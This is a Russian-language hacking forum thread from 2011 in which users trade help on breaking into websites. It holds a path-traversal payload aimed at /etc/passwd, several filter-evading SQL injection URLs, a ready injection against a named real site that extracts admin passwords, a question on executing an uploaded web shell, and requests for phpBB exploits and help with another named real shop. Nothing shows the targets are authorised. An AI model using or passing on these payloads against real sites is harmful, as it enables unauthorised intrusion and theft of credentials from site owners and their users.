08.03.2011, 17:14
|
|
Новичок
Регистрация: 07.01.2011
Сообщений: 2
С нами:
8076566
Репутация:
0
|
|
пацаны это инклюд?
Fatal error: require() [function.require]: Failed opening required 'articles/../../../../../../../../../etc/php.ini/text.htm' (include_path='.:/usr/local/share/pear') in /pub/home/teplotex/htdocs/fedorov/warlib/index.php on line 115
|
|
|
08.03.2011, 17:26
|
|
Познающий
Регистрация: 17.04.2009
Сообщений: 59
С нами:
8982831
Репутация:
37
|
|
Сообщение от Tazk2
пацаны это инклюд?
Fatal error: require() [function.require]: Failed opening required 'articles/../../../../../../../../../etc/php.ini/text.htm' (include_path='.:/usr/local/share/pear') in /pub/home/teplotex/htdocs/fedorov/warlib/index.php on line 115
Да, попробуй так ../../../../../../../../../../../../../etc/passwd%00
|
|
|
|
08.03.2011, 21:10
|
|
Постоянный
Регистрация: 02.02.2011
Сообщений: 727
С нами:
8039126
Репутация:
-6
|
|
,...
Сообщение от None
Взято с HackZone.RU - Больше про XSS
|
|
|
|
08.03.2011, 21:57
|
|
Новичок
Регистрация: 16.05.2009
Сообщений: 12
С нами:
8940726
Репутация:
2
|
|
[QUOTE="boortyhuhtyu"]
|
|
|
|
09.03.2011, 00:19
|
|
Познающий
Регистрация: 19.02.2011
Сообщений: 32
С нами:
8014646
Репутация:
-3
|
|
Не могу разобратся. Значит запрос к базе такой
$dbb=mysql_query("select * from zas where id='{$_GET['id']}'");
$dbb=mysql_fetch_array($dbb);
получаетса id это int, и при запросе
http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,2,3/*'
выводитса 2...
но если делаю запрос
http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,user(),3/*'
то выдает Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in Z:\home\test1.ru\www\index.php on line ...
как правильно сделать?
|
|
|
|
09.03.2011, 10:13
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Сообщение от asql
Не могу разобратся. Значит запрос к базе такой
как правильно сделать?
попробуй
http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,unhex(hex(user())),3/*'
http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,/*!user()*/,3/*'
Загружаю шелл в профайл админа cms Phorum, оказывается записывает файл в бд, как сделать исполнение кода? (http://127.0.0.1/file.php?0,file=1,filename=shell.php)
|
|
|
|
09.03.2011, 11:11
|
|
Познающий
Регистрация: 19.02.2011
Сообщений: 32
С нами:
8014646
Репутация:
-3
|
|
Сообщение от None
попробуй
http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,unhex(hex(user())),3/*'
помогло...
Возможно ли вскрыть такое?)
http://www.luman.lg.ua/content.php?type=about_0400'
|
|
|
|
09.03.2011, 12:02
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Сообщение от asql
помогло...
Возможно ли вскрыть такое?)
http://www.luman.lg.ua/content.php?type=about_0400'
http://www.luman.lg.ua/strelby.php?title=%CF%F3%EB%E8+%22%CB%FE%EC%E0%ED% 22+FT-0%2C68&id=70+and+1=0+union+select+1,2,3,4,5,6,7,8, pass+from+adm_user
пробелы необходимо убрать
|
|
|
|
09.03.2011, 15:43
|
|
Новичок
Регистрация: 25.02.2011
Сообщений: 5
С нами:
8006006
Репутация:
0
|
|
Подкиньте уязвимостей по phpbb 3.0.2...
Из тех что есть в этой темке большинство подразумевает наличие уязвимых модов либо права админа... У меня нет возможности даже зарегистрироваться(регист ация там только по подтверждению админом), а из модов, насколько я понял, только некие arcade и tosviolation. |
|
|
|
09.03.2011, 21:32
|
|
Постоянный
Регистрация: 28.09.2008
Сообщений: 456
С нами:
9271841
Репутация:
404
|
|
Не думал, что когда-то буду сюда писать...но))
_http://www.nordiz.ru/tovar.php?tovar_id=2395
Тут только посимвольно можно вытаскивать?)
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
